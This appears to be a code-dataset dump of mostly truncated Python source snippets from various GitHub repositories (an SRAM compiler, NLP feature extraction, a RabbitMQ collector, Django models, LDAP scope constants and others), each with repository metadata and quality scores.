src/hammer-vlsi/technology/sky130/sram_compiler/__init__.py | httpsgithu/hammer | 138 | 8084 | <reponame>httpsgithu/hammer
import os, tempfile, subprocess
from hammer_vlsi import MMMCCorner, MMMCCornerType, HammerTool, HammerToolStep, HammerSRAMGeneratorTool, SRAMParameters
from hammer_vlsi.units import VoltageValue, TemperatureValue
from hammer_tech import Library, ExtraLibrary
from typing import NamedTuple, ... | 2.359375 | 2 |
Section 4/nlp-4-ngrams.py | PacktPublishing/Hands-on-NLP-with-NLTK-and-scikit-learn- | 34 | 8085 | import collections
import nltk
import os
from sklearn import (
datasets, model_selection, feature_extraction, linear_model, naive_bayes,
ensemble
)
def extract_features(corpus):
'''Extract TF-IDF features from corpus'''
sa_stop_words = nltk.corpus.stopwords.words("english")
# words that might in... | 3.328125 | 3 |
code/gcd_sequence/sol_443.py | bhavinjawade/project-euler-solutions | 2 | 8086 | <reponame>bhavinjawade/project-euler-solutions
# -*- coding: utf-8 -*-
'''
File name: code\gcd_sequence\sol_443.py
Author: <NAME>
Date created: Oct 20, 2018
Python Version: 3.x
'''
# Solution to Project Euler Problem #443 :: GCD sequence
#
# For more information see:
# https://projecteuler.net/proble... | 3.015625 | 3 |
src/collectors/rabbitmq/rabbitmq.py | lreed/Diamond | 0 | 8087 | <filename>src/collectors/rabbitmq/rabbitmq.py
# coding=utf-8
"""
Collects data from RabbitMQ through the admin interface
#### Notes
* if two vhosts have the queues with the same name, the metrics will collide
#### Dependencies
* pyrabbit
"""
import diamond.collector
try:
from numbers import Number
Numb... | 2.1875 | 2 |
nemo/collections/tts/torch/data.py | MalikIdreesHasanKhan/NeMo | 4,145 | 8088 | # Copyright (c) 2021, NVIDIA CORPORATION & AFFILIATES. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | 1.523438 | 2 |
anmotordesign/server.py | MarkWengSTR/ansys-maxwell-online | 8 | 8089 | from flask import Flask, request, jsonify
from flask_cors import CORS
from run import run_ansys
from api.validate import spec_present, data_type_validate, spec_keys_validate, ansys_overload_check
ansys_processing_count = 0
# debug
# import ipdb; ipdb.set_trace()
app = Flask(__name__)
CORS(app) # local development co... | 2.53125 | 3 |
cnn/donas_utils/dataset/__init__.py | eric8607242/darts | 0 | 8090 | <reponame>eric8607242/darts
from .dataset import get_cifar100, get_cifar10, get_imagenet_lmdb, get_imagenet
__all__ = ["get_cifar100", "get_cifar10", "get_imagenet_lmdb", "get_imagenet"]
| 1.289063 | 1 |
classifier/cross_validation.py | ahmdrz/spam-classifier | 1 | 8091 | <gh_stars>1-10
from sklearn.model_selection import KFold
def kfold_cross_validation(data, k=10):
kfold = KFold(n_splits=k)
for train, test in kfold.split(data):
yield data[train], data[test] | 2.578125 | 3 |
category/models.py | captainxavier/AutoBlog | 0 | 8092 | from django.db import models
class Category(models.Model):
title = models.CharField(max_length=20)
class Meta:
db_table = 'category'
verbose_name = ("Category")
verbose_name_plural = ("Categories")
def __str__(self):
return self.title
| 2.359375 | 2 |
admin_tools/urls.py | aucoeur/WeVoteServer | 44 | 8093 | # admin_tools/urls.py
# Brought to you by We Vote. Be good.
# -*- coding: UTF-8 -*-
from django.conf.urls import re_path
from . import views
urlpatterns = [
re_path(r'^$', views.admin_home_view, name='admin_home',),
re_path(r'^data_cleanup/$', views.data_cleanup_view, name='data_cleanup'),
re_path(r'^dat... | 1.65625 | 2 |
hippynn/graphs/nodes/base/multi.py | tautomer/hippynn | 21 | 8094 | """
A base node that provides several output tensors.
"""
from ....layers.algebra import Idx
from .base import SingleNode, Node
from .. import _debprint
from ...indextypes import IdxType
class IndexNode(SingleNode):
_input_names = ("parent",)
def __init__(self, name, parents, index, index_state=None):
... | 2.4375 | 2 |
main_module/__init__.py | JohanNicander/python-test-architecture | 0 | 8095 | from .zero import zero
from main_module._unittester import UnitTester
test = UnitTester(__name__)
del UnitTester | 1.335938 | 1 |
barber/cutter.py | LSSTDESC/barber | 0 | 8096 | import numpy as np
import numpy.random as npr
import scipy.optimize as spo
import tomo_challenge.metrics as tcm
# custom data type, could be replaced with/tie in to tree.py class
# cut_vals is (nfeat, nbins - 1) numpy array, float
# tree_ids is ((nbins,) * nfeat) numpy array, int
TreePars = namedtuple('TreePars', ['cu... | 2.46875 | 2 |
examples/transfer/highscore.py | coding-world/matrix_max7219 | 0 | 8097 | <filename>examples/transfer/highscore.py
import shelve
regal = shelve.open('score.txt')
def updateScore(neuerScore):
if('score' in regal):
score = regal['score']
if(neuerScore not in score):
score.insert(0, neuerScore)
score.sort()
ranking = score.index(neuerScore)
ranking = len(score)-ra... | 3.390625 | 3 |
src/node/ext/ldap/scope.py | enfold/node.ext.ldap | 3 | 8098 | <reponame>enfold/node.ext.ldap<gh_stars>1-10
# -*- coding: utf-8 -*-
import ldap
BASE = ldap.SCOPE_BASE
ONELEVEL = ldap.SCOPE_ONELEVEL
SUBTREE = ldap.SCOPE_SUBTREE
SCOPES = [BASE, ONELEVEL, SUBTREE]
del ldap
| 1.359375 | 1 |
urban-sound-classification/feature_merge.py | tensorflow-korea/tfk-notebooks | 50 | 8099 | import glob
import numpy as np
X = np.empty((0, 193))
y = np.empty((0, 10))
groups = np.empty((0, 1))
npz_files = glob.glob('./urban_sound_?.npz')
for fn in npz_files:
print(fn)
data = np.load(fn)
X = np.append(X, data['X'], axis=0)
y = np.append(y, data['y'], axis=0)
groups = np.append(groups, dat... | 2.640625 | 3 |